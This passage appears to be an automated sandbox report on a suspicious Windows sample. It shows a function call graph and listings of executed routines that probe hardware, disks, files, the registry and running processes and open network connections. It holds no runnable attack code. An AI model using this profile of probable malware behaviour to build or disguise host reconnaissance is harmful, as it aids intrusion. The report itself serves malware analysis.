60267 90efa8 60266->60267 60269 90ef47 60266->60269 60267->60269 60293 8dc960 _open localeconv localeconv 60267->60293 60269->60180 60270->60198 60271->60192 60272->60221 60273->60179 60274->60182 60275->60184 60276->60201 60277->60194 60278->60204 60279->60227 60280->60210 60281->60224 60282->60223 60283->60227 60284->60221 60285->60205 60286->60215 60287->60223 60288->60219 60289->60221 60290->60257 60291->60263 60292->60265 60293->60269 60294->60239 60295->60239 60296->60232 60297->60251 60666 9095b0 60667 9095c8 60666->60667 60669 9095fd 60666->60669 60668 90a150 4 API calls 60667->60668 60667->60669 60668->60669 60298 8d13c9 60301 8d1160 60298->60301 60300 8d13a1 60301->60300 60302 c58a20 6 API calls 60301->60302 60302->60301 60303 d5f250 60313 c61360 60303->60313 60305 d5f282 60306 d5f28e 60305->60306 60320 c58f70 60305->60320 60309 c61360 2 API calls 60310 d5f2d3 60309->60310 60312 d5f2ec 60310->60312 60327 c61420 localeconv localeconv 60310->60327 60314 c613b0 60313->60314 60315 c61379 60313->60315 60317 c5d1d0 2 API calls 60314->60317 60328 c5d1d0 60315->60328 60319 c613d0 60317->60319 60318 c61398 60318->60305 60319->60305 60335 c58e90 _open 60320->60335 60322 c58f82 60323 c58e90 _open 60322->60323 60324 c58fa2 60323->60324 60325 c58f70 _open 60324->60325 60326 c58fb8 60325->60326 60326->60309 60327->60312 60334 c5d1ed 60328->60334 60329 c5d3ae 60329->60318 60330 c5d504 localeconv 60330->60334 60331 c5ca50 localeconv 60331->60334 60332 c5c9c0 localeconv 60332->60334 60333 c5cc90 localeconv 60333->60334 60334->60329 60334->60330 60334->60331 60334->60332 60334->60333 60336 c58eba 60335->60336 60336->60322 60670 d57830 60671 d5785a 60670->60671 60672 d57866 60671->60672 60673 c58f70 _open 60671->60673 60674 d5786f 60673->60674 60686 c612c0 60674->60686 60677 d578a6 60678 c58f70 _open 60679 d578af 60678->60679 60680 d57950 60679->60680 60684 d57906 60679->60684 60690 c5b500 localeconv localeconv 60680->60690 60681 d57944 60683 d57979 60684->60681 60691 c5b500 localeconv localeconv 60684->60691 60687 c612cc 60686->60687 60692 c5e050 60687->60692 60689 c612fa 60689->60677 60689->60678 60690->60683 60691->60683 60693 c5e09d localeconv localeconv 60692->60693 60696 c5e0ce 60692->60696 60693->60696 60694 c5e18e 60694->60689 60695 c5feb6 isxdigit 60695->60696 60696->60694 60696->60695 60697 8ed5e0 60698 8ed652 WSAStartup 60697->60698 60699 8ed5f0 60697->60699 60698->60699 60700 8ed664 60698->60700 60702 8ed67c 60699->60702 60704 8ed690 _open localeconv localeconv 60699->60704 60703 8ed5fa 60704->60703 60337 90b3c0 60338 90b3cb 60337->60338 60339 90b3ee 60337->60339 60343 909290 60338->60343 60357 8d76a0 60338->60357 60340 90b3ea 60344 8d76a0 4 API calls 60343->60344 60345 9092e5 60344->60345 60346 9093c3 60345->60346 60348 9092f3 60345->60348 60350 909392 60346->60350 60368 8ed090 _open localeconv localeconv 60346->60368 60347 9093be 60347->60340 60348->60350 60353 909335 WSAIoctl 60348->60353 60350->60347 60370 9150a0 _open localeconv localeconv 60350->60370 60351 9093f7 60369 914f40 _open localeconv localeconv 60351->60369 60353->60350 60355 909366 60353->60355 60355->60350 60356 909371 setsockopt 60355->60356 60356->60350 60358 8d76e6 send 60357->60358 60359 8d76c0 60357->60359 60361 8d76d3 60358->60361 60367 8d7704 60358->60367 60359->60358 60360 8d76c9 60359->60360 60360->60361 60362 8d770b 60360->60362 60371 8d72a0 _open localeconv localeconv 60361->60371 60372 8d72a0 _open localeconv localeconv 60362->60372 60365 8d771c 60373 8dcb20 _open localeconv localeconv 60365->60373 60367->60340 60368->60351 60369->60350 60370->60347 60371->60367 60372->60365 60373->60367 60374 90e400 60375 90e412 60374->60375 60379 90e459 60374->60379 60376 90e422 60375->60376 60398 923030 _open localeconv localeconv 60375->60398 60399 9309d0 _open localeconv localeconv 60376->60399 60381 90e4a8 60379->60381 60384 90e495 60379->60384 60386 90b5a0 60379->60386 60380 90e42b 60400 9068b0 closesocket _open localeconv localeconv 60380->60400 60384->60381 60385 90b5a0 3 API calls 60384->60385 60385->60381 60387 90b5d2 60386->60387 60388 90b5c0 60386->60388 60387->60384 60388->60387 60389 90b713 60388->60389 60394 90b626 60388->60394 60402 914f40 _open localeconv localeconv 60389->60402 60391 90b65a 60391->60387 60392 90b72b 60391->60392 60393 90b737 60391->60393 60392->60387 60403 9150a0 _open localeconv localeconv 60392->60403 60393->60387 60404 9150a0 _open localeconv localeconv 60393->60404 60394->60387 60394->60391 60394->60392 60394->60393 60401 9150a0 _open localeconv localeconv 60394->60401 60398->60376 60399->60380 60400->60379 60401->60394 60402->60387 60403->60387 60404->60387 60405 90b400 60406 90b425 60405->60406 60407 90b40b 60405->60407 60410 8d7770 60407->60410 60408 90b421 60411 8d77b6 recv 60410->60411 60412 8d7790 60410->60412 60414 8d77a3 60411->60414 60420 8d77d4 60411->60420 60412->60411 60413 8d7799 60412->60413 60413->60414 60415 8d77db 60413->60415 60421 8d72a0 _open localeconv localeconv 60414->60421 60422 8d72a0 _open localeconv localeconv 60415->60422 60418 8d77ec 60423 8dcb20 _open localeconv localeconv 60418->60423 60420->60408 60421->60420 60422->60418 60423->60420 60424 90f100 60425 90f11f 60424->60425 60431 90f1b8 60424->60431 60428 90f2a3 60425->60428 60425->60431 60443 90f240 60425->60443 60451 90f5b9 60425->60451 60426 90ff1a 60469 910c80 _open localeconv localeconv 60426->60469 60456 914f40 _open localeconv localeconv 60428->60456 60430 910045 60430->60431 60434 91010d 60430->60434 60437 91004d 60430->60437 60472 9150a0 _open localeconv localeconv 60430->60472 60432 90f80d 60436 91015e 60434->60436 60473 9150a0 _open localeconv localeconv 60434->60473 60435 91008a 60471 914f40 _open localeconv localeconv 60435->60471 60436->60437 60474 9150a0 _open localeconv localeconv 60436->60474 60475 914f40 _open localeconv localeconv 60437->60475 60443->60431 60457 8d7310 60443->60457 60445 90f491 60449 8d7310 3 API calls 60445->60449 60445->60451 60446 90ff5b 60446->60431 60470 9150a0 _open localeconv localeconv 60446->60470 60447 910d30 _open localeconv localeconv 60447->60451 60454 90f50d 60449->60454 60450 90f3ce 60450->60431 60450->60445 60466 9150a0 _open localeconv localeconv 60450->60466 60451->60426 60451->60430 60451->60432 60451->60435 60451->60447 60453 9150a0 _open localeconv localeconv 60451->60453 60468 914fd0 _open localeconv localeconv 60451->60468 60453->60451 60454->60431 60454->60451 60467 9150a0 _open localeconv localeconv 60454->60467 60456->60431 60458 8d7320 60457->60458 60459 8d7332 60457->60459 60458->60459 60460 8d7390 60458->60460 60462 8d7380 60459->60462 60476 8d72a0 _open localeconv localeconv 60459->60476 60477 8d72a0 _open localeconv localeconv 60460->60477 60462->60450 60463 8d73a1 60478 8dcb20 _open localeconv localeconv 60463->60478 60466->60445 60467->60451 60468->60451 60469->60446 60470->60431 60471->60431 60472->60434 60473->60436 60474->60437 60475->60431 60476->60462 60477->60463 60478->60462 60479 8d255d 60480 c59f70 60479->60480 60481 8d256c GetSystemInfo 60480->60481 60482 8d2589 60481->60482 60483 8d25a0 GlobalMemoryStatusEx 60482->60483 60488 8d25ec 60483->60488 60484 8d2762 60487 8d27d6 KiUserCallbackDispatcher 60484->60487 60485 8d263c GetDriveTypeA 60486 8d2655 GetDiskFreeSpaceExA 60485->60486 60485->60488 60486->60488 60489 8d27f8 60487->60489 60488->60484 60488->60485 60490 8d2842 SHGetKnownFolderPath 60489->60490 60491 8d28c3 60490->60491 60492 8d28d9 FindFirstFileW 60491->60492 60493 8d2906 FindNextFileW 60492->60493 60494 8d2928 60492->60494 60493->60493 60493->60494 60495 910700 60503 910719 60495->60503 60509 91099d 60495->60509 60497 8d7310 3 API calls 60497->60503 60498 9109f6 60520 8d75a0 60498->60520 60500 9109b5 60500->60509 60519 9150a0 _open localeconv localeconv 60500->60519 60502 910a35 60524 914f40 _open localeconv localeconv 60502->60524 60503->60497 60503->60498 60503->60500 60503->60502 60503->60509 60513 90b8e0 _open localeconv localeconv 60503->60513 60514 93f570 _open localeconv localeconv 60503->60514 60515 8feb30 _open localeconv localeconv 60503->60515 60516 9313a0 _open localeconv localeconv 60503->60516 60517 9539a0 _open localeconv localeconv 60503->60517 60518 8feae0 _open localeconv localeconv 60503->60518 60511 8d75a0 3 API calls 60511->60509 60513->60503 60514->60503 60515->60503 60516->60503 60517->60503 60518->60503 60519->60509 60521 8d75aa 60520->60521 60522 8d75d1 60520->60522 60521->60522 60525 8d72a0 _open localeconv localeconv 60521->60525 60522->60511 60524->60509 60525->60522 60705 8d29ff FindFirstFileA 60706 8d2a31 60705->60706 60707 8d2a5c RegOpenKeyExA 60706->60707 60708 8d2a93 60707->60708 60709 8d2ade CharUpperA 60708->60709 60711 8d2b0a 60709->60711 60710 8d2bf9 QueryFullProcessImageNameA 60712 8d2c3b CloseHandle 60710->60712 60711->60710 60714 8d2c64 60712->60714 60713 8d2df1 CloseHandle 60715 8d2e23 60713->60715 60714->60713 60526 8d3d5e 60529 8d3d30 60526->60529 60528 8d3d90 60529->60526 60529->60528 60530 8e0ab0 60529->60530 60533 8e05b0 60530->60533 60534 8e07c7 60533->60534 60542 8e05bd 60533->60542 60534->60529 60539 8e066a 60544 8e06f0 60539->60544 60546 8e07ce 60539->60546 60556 8e73b0 _open localeconv localeconv 60539->60556 60540 8e0707 WSAEventSelect 60540->60544 60540->60546 60541 8e07ef 60541->60546 60547 8e0847 60541->60547 60550 8e6fa0 60541->60550 60542->60534 60542->60539 60542->60546 60554 8e03c0 _open localeconv localeconv 60542->60554 60555 8e7450 _open localeconv localeconv 60542->60555 60544->60540 60544->60541 60545 8d76a0 4 API calls 60544->60545 60545->60544 60557 8e7380 _open localeconv localeconv 60546->60557 60547->60546 60548 8e09e8 WSAEnumNetworkEvents 60547->60548 60549 8e09d0 WSAEventSelect 60547->60549 60548->60547 60548->60549 60549->60547 60549->60548 60551 8e6fd4 60550->60551 60553 8e6feb 60550->60553 60552 8e7207 select 60551->60552 60551->60553 60552->60553 60553->60547 60554->60542 60555->60542 60556->60539 60557->60534 60716 8e1139 60730 90baa0 60716->60730 60718 8e1148 60719 8e1161 60718->60719 60721 8e1512 60718->60721 60727 8e0f00 60719->60727 60734 8e0150 _open localeconv localeconv 60719->60734 60720 8e0150 _open localeconv localeconv 60720->60727 60721->60727 60735 8e22d0 _open localeconv localeconv 60721->60735 60725 8e0f7b 60727->60720 60727->60725 60728 8d75a0 _open localeconv localeconv 60727->60728 60736 90d4d0 _open localeconv localeconv 60727->60736 60737 8e4940 _open localeconv localeconv 60727->60737 60738 8e3900 _open localeconv localeconv 60727->60738 60728->60727 60731 90bac7 60730->60731 60733 90bb60 60730->60733 60731->60733 60739 8f05b0 _open localeconv localeconv 60731->60739 60733->60718 60734->60727 60735->60727 60736->60727 60737->60727 60738->60727 60739->60733 60740 9870a0 60746 9870ae 60740->60746 60742 98717f 60743 9871a7 60742->60743 60754 986d50 localeconv localeconv 60742->60754 60745 98719f 60755 999320 closesocket 60745->60755 60746->60742 60746->60743 60749 99a8c0 60746->60749 60753 9871c0 6 API calls 60746->60753 60750 99a903 recvfrom 60749->60750 60751 99a8e6 60749->60751 60752 99a8ed 60750->60752 60751->60750 60751->60752 60752->60746 60753->60746 60754->60745 60755->60743 60756 984720 60757 984728 60756->60757 60758 984733 60757->60758 60765 98476c 60757->60765 60770 989270 60757->60770 60760 984774 60762 984860 60773 984950 60762->60773 60764 984878 60765->60764 60766 9830a0 60765->60766 60767 9830b0 60766->60767 60769 9831bc 60766->60769 60767->60769 60777 983320 60767->60777 60769->60760 60782 98a440 60770->60782 60772 989297 60772->60762 60775 984966 60773->60775 60774 984aa0 gethostname 60774->60775 60776 9849c5 60774->60776 60775->60774 60775->60776 60776->60765 60779 983332 60777->60779 60778 9833a9 60778->60769 60779->60778 60781 999440 closesocket 60779->60781 60781->60779 60812 98a46b 60782->60812 60783 98aa03 RegOpenKeyExA 60784 98ab70 RegOpenKeyExA 60783->60784 60785 98aa27 RegQueryValueExA 60783->60785 60786 98ac34 RegOpenKeyExA 60784->60786 60805 98ab90 60784->60805 60787 98aacc RegQueryValueExA 60785->60787 60788 98aa71 60785->60788 60789 98acf8 RegOpenKeyExA 60786->60789 60809 98ac54 60786->60809 60790 98ab0e 60787->60790 60791 98ab66 RegCloseKey 60787->60791 60788->60787 60794 98aa85 RegQueryValueExA 60788->60794 60792 98ad56 RegEnumKeyExA 60789->60792 60795 98ad14 60789->60795 60790->60791 60798 98ab1e RegQueryValueExA 60790->60798 60791->60784 60793 98ad9b 60792->60793 60792->60795 60796 98ae16 RegOpenKeyExA 60793->60796 60797 98aab3 60794->60797 60795->60772 60799 98addf RegEnumKeyExA 60796->60799 60800 98ae34 RegQueryValueExA 60796->60800 60797->60787 60801 98ab4c 60798->60801 60799->60795 60799->60796 60802 98af43 RegQueryValueExA 60800->60802 60815 98adaa 60800->60815 60801->60791 60803 98b052 RegQueryValueExA 60802->60803 60802->60815 60804 98adc7 RegCloseKey 60803->60804 60803->60815 60804->60799 60805->60786 60806 98a794 GetBestRoute2 60808 98d190 2 API calls 60806->60808 60807 98afa0 RegQueryValueExA 60807->60815 60808->60812 60809->60789 60810 98a6c7 GetBestRoute2 60811 98d190 2 API calls 60810->60811 60811->60812 60812->60806 60812->60810 60813 98b180 localeconv localeconv 60812->60813 60814 98a4db 60812->60814 60813->60812 60814->60783 60814->60795 60815->60802 60815->60803 60815->60804 60815->60807 60558 99a080 60561 999740 60558->60561 60560 99a09b 60562 999780 60561->60562 60567 99975d 60561->60567 60563 999925 RegOpenKeyExA 60562->60563 60562->60567 60564 99995a RegQueryValueExA 60563->60564 60568 999812 60563->60568 60565 999986 RegCloseKey 60564->60565 60565->60567 60567->60568 60569 98d190 60567->60569 60568->60560 60570 98d1ae 60569->60570 60573 98d1fa 60569->60573 60571 98d1e8 60570->60571 60609 98d8f0 localeconv localeconv 60570->60609 60571->60567 60574 98d4f9 60573->60574 60575 98d4b7 60573->60575 60579 98d504 60574->60579 60618 98d8f0 localeconv localeconv 60574->60618 60610 98d8f0 localeconv localeconv 60575->60610 60577 98d4ce 60585 98d4e3 60577->60585 60611 98d8f0 localeconv localeconv 60577->60611 60581 98d516 60579->60581 60619 98d8f0 localeconv localeconv 60579->60619 60582 98d51f 60581->60582 60620 98d8f0 localeconv localeconv 60581->60620 60584 98d52c 60582->60584 60621 98d8f0 localeconv localeconv 60582->60621 60589 98d535 60584->60589 60622 98d8f0 localeconv localeconv 60584->60622 60586 98d4f4 60585->60586 60612 98d8f0 localeconv localeconv 60585->60612 60595 98d5bf 60586->60595 60613 98d8f0 localeconv localeconv 60586->60613 60598 98d53e 60589->60598 60623 98d8f0 localeconv localeconv 60589->60623 60593 98d547 60593->60571 60625 98d8f0 localeconv localeconv 60593->60625 60599 98d5fb 60595->60599 60614 98d8f0 localeconv localeconv 60595->60614 60596 98d87f 60596->60571 60626 98d8f0 localeconv localeconv 60596->60626 60598->60593 60598->60596 60601 98d7fe 60598->60601 60605 98d632 60599->60605 60615 98d8f0 localeconv localeconv 60599->60615 60624 98d8f0 localeconv localeconv 60601->60624 60606 98d66e 60605->60606 60616 98d8f0 localeconv localeconv 60605->60616 60606->60571 60617 98d8f0 localeconv localeconv 60606->60617 60609->60571 60610->60577 60611->60585 60612->60586 60613->60595 60614->60599 60615->60605 60616->60606 60617->60571 60618->60579 60619->60581 60620->60582 60621->60584 60622->60589 60623->60598 60624->60593 60625->60571 60626->60571 60627 99b180 60628 99b2e3 60627->60628 60630 99b19b 60627->60630 60630->60628 60632 99b2a9 getsockname 60630->60632 60634 99b020 closesocket 60630->60634 60635 99af30 60630->60635 60639 99b060 60630->60639 60644 99b020 60632->60644 60634->60630 60636 99af4c 60635->60636 60637 99af63 socket 60635->60637 60636->60637 60638 99af52 60636->60638 60637->60630 60638->60630 60643 99b080 60639->60643 60640 99b0b0 connect 60641 99b0bf WSAGetLastError 60640->60641 60642 99b0ea 60641->60642 60641->60643 60642->60630 60643->60640 60643->60641 60643->60642 60645 99b029 60644->60645 60646 99b052 60644->60646 60647 99b04b closesocket 60645->60647 60648 99b03e 60645->60648 60646->60630 60647->60646 60648->60630 60816 99a920 60817 99a944 60816->60817 60818 99a94b 60817->60818 60819 99a977 send 60817->60819 60649 8d31d7 60652 8d31f4 60649->60652 60650 8d3200 60651 8d32dc CloseHandle 60651->60650 60652->60650 60652->60651 60653 8d2f17 60660 8d2f2c 60653->60660 60654 8d31d3 60657 8d315c RegEnumKeyExA 60657->60660 60658 8d1619 2 API calls 60659 8d3046 RegOpenKeyExA 60658->60659 60659->60660 60661 8d3089 RegQueryValueExA 60659->60661 60660->60654 60660->60657 60660->60658 60662 8d313b RegCloseKey 60660->60662 60663 8d1619 60660->60663 60661->60660 60661->60662 60662->60660 60664 c61360 2 API calls 60663->60664 60665 8d1645 RegOpenKeyExA 60664->60665 60665->60660

                                                  Executed Functions

                                                  Function 0090F100 Relevance: 20.1, Strings: 15, Instructions: 1304COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connected to %s (%s) port %u$Connection time-out$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed$connect.c$created %s (timeout %lldms)$ipv4$ipv6
                                                  • API String ID: 0-1590685507
                                                  • Opcode ID: f1e01964a4e913149ca22f2c13e6c2aa882e6c7affeaacc5f7492b822367718c
                                                  • Instruction ID: 1e98bf0f440d203f3224fdb722f5849972e74a21bb9a766c32c8687965db1a81
                                                  • Opcode Fuzzy Hash: f1e01964a4e913149ca22f2c13e6c2aa882e6c7affeaacc5f7492b822367718c
                                                  • Instruction Fuzzy Hash: 04C2C331A043449FD724CF29C494B6AB7E5BF84314F05CA6DEC989B6A2D771EE84CB81
                                                  Function 008D255D Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 282fileCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  APIs
                                                  • GetSystemInfo.KERNELBASE ref: 008D2579
                                                  • GlobalMemoryStatusEx.KERNELBASE ref: 008D25CC
                                                  • GetDriveTypeA.KERNELBASE ref: 008D2647
                                                  • GetDiskFreeSpaceExA.KERNELBASE ref: 008D267E
                                                  • KiUserCallbackDispatcher.NTDLL ref: 008D27E2
                                                  • SHGetKnownFolderPath.SHELL32 ref: 008D286D
                                                  • FindFirstFileW.KERNELBASE ref: 008D28F8
                                                  • FindNextFileW.KERNELBASE ref: 008D291F
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: FileFind$CallbackDiskDispatcherDriveFirstFolderFreeGlobalInfoKnownMemoryNextPathSpaceStatusSystemTypeUser
                                                  • String ID: @$`
                                                  • API String ID: 2066228396-3318628307
                                                  • Opcode ID: fcfaaf72a8d823e9f11c608929adb522fb705033ad5c5e05573e93080dca87c8
                                                  • Instruction ID: 6466c678c3bf68d803aeaebd7223a3b9b17bb51f0c6192194e9bc39b1644b004
                                                  • Opcode Fuzzy Hash: fcfaaf72a8d823e9f11c608929adb522fb705033ad5c5e05573e93080dca87c8
                                                  • Instruction Fuzzy Hash: 97D196B49093199FCB10EF68C59569EBBF0FF48344F008969E898D7351E7749A88CF62
                                                  Function 008D29FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1265 8d29ff-8d2a2f FindFirstFileA 1266 8d2a38 1265->1266 1267 8d2a31-8d2a36 1265->1267 1268 8d2a3d-8d2a91 call d59c50 call d59ce0 RegOpenKeyExA 1266->1268 1267->1268 1273 8d2a9a 1268->1273 1274 8d2a93-8d2a98 1268->1274 1275 8d2a9f-8d2b0c call d59c50 call d59ce0 CharUpperA call c58da0 1273->1275 1274->1275 1283 8d2b0e-8d2b13 1275->1283 1284 8d2b15 1275->1284 1285 8d2b1a-8d2b92 call d59c50 call d59ce0 call c58e80 call c58e70 1283->1285 1284->1285 1294 8d2bcc-8d2c66 QueryFullProcessImageNameA CloseHandle call c58da0 1285->1294 1295 8d2b94-8d2ba3 1285->1295 1305 8d2c6f 1294->1305 1306 8d2c68-8d2c6d 1294->1306 1298 8d2ba5-8d2bae 1295->1298 1299 8d2bb0-8d2bca call c58e68 1295->1299 1298->1294 1299->1294 1299->1295 1307 8d2c74-8d2ce9 call d59c50 call d59ce0 call c58e80 call c58e70 1305->1307 1306->1307 1316 8d2dcf-8d2e1c call d59c50 call d59ce0 CloseHandle 1307->1316 1317 8d2cef-8d2d49 call c58bb0 call c58da0 1307->1317 1327 8d2e23-8d2e2e 1316->1327 1330 8d2d99-8d2dad 1317->1330 1331 8d2d4b-8d2d63 call c58da0 1317->1331 1328 8d2e37 1327->1328 1329 8d2e30-8d2e35 1327->1329 1332 8d2e3c-8d2ed6 call d59c50 call d59ce0 1328->1332 1329->1332 1330->1316 1331->1330 1338 8d2d65-8d2d7d call c58da0 1331->1338 1347 8d2ed8-8d2ee1 1332->1347 1348 8d2eea 1332->1348 1338->1330 1343 8d2d7f-8d2d97 call c58da0 1338->1343 1343->1330 1349 8d2daf-8d2dc9 call c58e68 1343->1349 1347->1348 1350 8d2ee3-8d2ee8 1347->1350 1351 8d2eef-8d2f16 call d59c50 call d59ce0 1348->1351 1349->1316 1349->1317 1350->1351
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                                  • String ID: 0
                                                  • API String ID: 2406880114-4108050209
                                                  • Opcode ID: 78a844073c477af957a9fcee6f575e09fd824b70febc6a43143f8c980be8210d
                                                  • Instruction ID: c99c7bf78c22887ff96cdaedd05da087a1ee29521bd740514de0ed536dda7d22
                                                  • Opcode Fuzzy Hash: 78a844073c477af957a9fcee6f575e09fd824b70febc6a43143f8c980be8210d
                                                  • Instruction Fuzzy Hash: B8E1C8B49043099FCB50EF68D98569EBBF4FF84744F00896AE888E7350E7749988DF52
                                                  Function 008E05B0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377networkCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1655 8e05b0-8e05b7 1656 8e07ee 1655->1656 1657 8e05bd-8e05d4 1655->1657 1658 8e05da-8e05e6 1657->1658 1659 8e07e7-8e07ed 1657->1659 1658->1659 1660 8e05ec-8e05f0 1658->1660 1659->1656 1661 8e05f6-8e0620 call 8e7350 call 8d70b0 1660->1661 1662 8e07c7-8e07cc 1660->1662 1667 8e066a-8e068c call 90dec0 1661->1667 1668 8e0622-8e0624 1661->1668 1662->1659 1673 8e07d6-8e07e3 call 8e7380 1667->1673 1674 8e0692-8e06a0 1667->1674 1669 8e0630-8e0655 call 8d70d0 call 8e03c0 call 8e7450 1668->1669 1699 8e07ce 1669->1699 1700 8e065b-8e0668 call 8d70e0 1669->1700 1673->1659 1676 8e06f4-8e06f6 1674->1676 1677 8e06a2-8e06a4 1674->1677 1682 8e07ef-8e082b call 8e3000 1676->1682 1683 8e06fc-8e06fe 1676->1683 1680 8e06b0-8e06e4 call 8e73b0 1677->1680 1680->1673 1698 8e06ea-8e06ee 1680->1698 1696 8e0a2f-8e0a35 1682->1696 1697 8e0831-8e0837 1682->1697 1688 8e072c-8e0754 1683->1688 1692 8e075f-8e078b 1688->1692 1693 8e0756-8e075b 1688->1693 1711 8e0700-8e0703 1692->1711 1712 8e0791-8e0796 1692->1712 1694 8e075d 1693->1694 1695 8e0707-8e0719 WSAEventSelect 1693->1695 1701 8e0723-8e0726 1694->1701 1695->1673 1708 8e071f 1695->1708 1706 8e0a3c-8e0a52 1696->1706 1707 